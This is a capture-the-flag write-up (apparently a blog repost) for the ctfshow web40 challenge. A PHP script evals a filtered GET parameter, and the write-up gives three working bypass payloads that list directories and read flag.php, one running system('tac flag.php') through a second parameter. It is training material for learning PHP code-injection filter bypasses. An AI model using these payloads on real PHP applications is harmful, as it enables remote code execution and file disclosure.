ctfshow web40

news/2025/9/19 16:44:33/文章来源:https://www.cnblogs.com/zdqjudy/p/19101132
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

方案一

1.先使用getcwd()函数查看当前工作目录

/?c=print_r(getcwd());

2.使用scandir()函数将工作目录以数组形式输出

?c=print_r(scandir(getcwd()));

发现有flag.php的目录

3.使用array_reverse()函数将数组翻转

?c=print_r(array_reverse(scandir(getcwd())));

4.使用next()函数将数组指针指向flag.php,再使用读取文件函数打印出flag.php的内容

读取文件内容:

  • file_get_contents()
  • readfile()
  • highlight_file()
  • show_source()

print_r(show_source(next(array_reverse(scandir(getcwd())))));

方案二

1.使用get_defined_vars()函数返回一个关联数组,包含所有当前作用域内已定义的变量,包括:

  • 用户定义的变量
  • 超全局变量(GET,G__ET,_POST 等)
  • 其他预定义变量

?c=print_r(get_defined_vars());

发现数组第一个变量c貌似就是我们输入的命令,但是这里是二维数组,并且我们要利用的恶意代码在二维数组的第一个,所以可以使用current()函数获取当前指针所对应的一维数组

/?c=print_r(current(get_defined_vars()));

但是这个GET数组里面貌似没有元素含有恶意代码(奇怪了,平时写其他无参数rce都有的),那么这里我们就可以自己写一个进去,

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

特别提醒

必须先写出&1=system("tac flag.php");才能print_r(next(current(get_defined_vars())));,不然就会报以下错误

**<font style="color:rgb(0, 0, 0);">Notice</font>**<font style="color:rgb(0, 0, 0);">: Only variables should be passed by reference in </font>**<font style="color:rgb(0, 0, 0);">/var/www/html/index.php(17) : eval()'d code</font>**<font style="color:rgb(0, 0, 0);"> on line </font>**<font style="color:rgb(0, 0, 0);">1</font>**

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

接下来直接执行上面恶意代码即可

/?c=eval(next(current(get_defined_vars())));&1=system("tac%20flag.php");

方案三

?c=print_r(scandir(current(localeconv())));

数组翻转再指针向前一次

?c=print_r(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(print_r(next(array_reverse(scandir(current(localeconv()))))));
就可以得到flag了(什么,你说你想看flag,门都没有)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907917.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ 左值、右值、左值引用、右值引用

1、左值与右值 左值和右值是表达式的属性,核心区别在于:能否取地址、是否有持久的存储。 1.1 左值:有名字、能取地址、可被修改(通常) 左值是 “可以放在赋值号左边” 的表达式(但并非绝对,如 const 左值不能被…

Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

基数排序模板(Radix Sort)

📘 基数排序模板(Radix Sort) 动画演示:https://www.bilibili.com/video/BV1zN4y1e73F 核心思路 基数排序是按位排序的,它从最低位到最高位依次对数据进行排序。它采用的是多次稳定排序(比如计数排序)来处理每…

ctfshow web32

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer…

[项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦

项目简介 本项目是基于 .NET Framework 框架的Winform项目, 实现一键发布博客到各个平台(如WordPress站点、博客园等)的功能 项目结构与定位 Core 项目 这是整个解决方案的核心层,主要负责定义跨模块的通用契约。Core…

从Verizon数据泄露报告看企业安全防御的迫切变革

基于Verizon年度数据泄露报告的分析指出,仅12.5%的安全漏洞由内部团队发现,其余87.5%依赖外部通报。文章探讨安全预算错配问题,提出主动防御策略,并强调IT审计部门的关键作用。数据背后的安全困境 去年Verizon数据…

mysql 虚拟列,可以简化 SQL 逻辑、提升查询效率

MySQL 5.7 及以上版本支持 生成列(Generated Columns),也称为 “虚拟列”。虚拟列的值不是手动插入的,而是由表中其他列的值通过表达式计算得出,类似于 “自动计算的字段”。 虚拟列的两种类型 虚拟生成列(Virtu…

Flash Attention算法动画

矩阵Q,K,V 在HBM,SRAM芯片大小为M,其中N=5,d=3, M=59 1.设置块大小Bc=4,Br=3 2.初始化O,l,m 3.分割Q为Tr块[Q0,Q1],每块大小Br*d,分割K,V为Tc块[K0,K1],[V0,V1],每块大小Bc*d 4.分割O为Tr块,每块大小Br *…

【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战

【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战前言 作为一名全栈开发者,最近我成功为一个体育创业项目完成了比分网站的快速搭建。恰逢世界杯热潮,这个网站在上线后一周内就获得了惊人的访问量…

PointNetwork-求解TSP-05 - jack

https://github.com/ccjjxx99/PointerNetworks-pytorch-tsp https://arxiv.org/pdf/1506.03134

多站点的TSP问题求解-06 - jack

https://mit-realm.github.io/CMDTSP/ https://github.com/Brelliothe/CMDTSP paper:A Hierarchical Framework for Solving the Constrained Multiple Depot Traveling Salesman Problem

Windows 11如何进入安全模式

Windows 11如何进入安全模式Windows 11如何进入安全模式 https://iknow.lenovo.com.cn/detail/199472网站:http://shibowl.topgithub:https://github.com/hanbinjxnc博客园:https://www.cnblogs.com/hool 博客:htt…

C# CAN通信上位机系统设计与实现

C# CAN通信上位机程序,支持多种CAN适配器,提供数据收发、协议解析、数据可视化等功能。 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing;…

进程池VS线程池

进程池VS线程池 # CPU 密集:大量纯计算(加解密、图像处理、数值分析)。需要真多核并行来堆算力。 【进程】 # I/O 密集:大量等待(网络、磁盘、数据库)。CPU 大部分时间都在闲着,关键是别浪费“等”的时间。 …

聊聊昨天CodeBuddy Meetup的一些收获与思考

昨天腾讯云举办了 CodeBuddy MeetUp,作为Vibe Coding的忠实拥护者,一定不会错过。这次活动分为上下两场,上半场主要是 CodeBuddy 的设计、产品与技术负责人的分享;下半场则是AI Coding实践者们的经验分享。一整天的…

框架的诞生,本就是人类文明共同涌现的结晶,绝不是某个人的独自觉悟

框架的诞生,本就是人类文明共同涌现的结晶,绝不是某个人的独自觉悟ECT-OS-JiuHuaShan/https://orcid.org/0009-0006-8591-1891论断精准地揭示了 ECT-OS-JiuHuaShan 框架的文明本质与诞生逻辑,这是完全正确的终极结论…

python+Django开发笔记(结合禅道开发测试报告)

近期结合禅道的用例执行数据,用python+django开发了个在线测试报告,简单做个总结。一、Django的基础操作 传统django开发是典型的MTV结构,M代表model(数据库模型)、T代表模板(templates)、V代表视图三者之间的…

MVC分层设计模式 2章

MVC分层设计模式@RestController(控制层) @Component表示他是餐厅的一员 @ResponseBody意味着他端给顾客的菜是“纯菜”(JSON数据),而不是一个“套餐菜单”(网页页面) Service(服务层) 负责处理做菜(业务逻辑)…

Questions about learning Symfony

1、Can a service only be retrieved from the container if its class is explicitly defined in services.yaml? No. A service can be retrieved from the container in two cases: *1. Explicit definition in se…

【Python】cx_Freeze模块_打包exe

创建setUp.py from cx_Freeze import setup, Executablesetup(name = "AppName",version = "0.1",description = "Your application description",executables = [Executable("mai…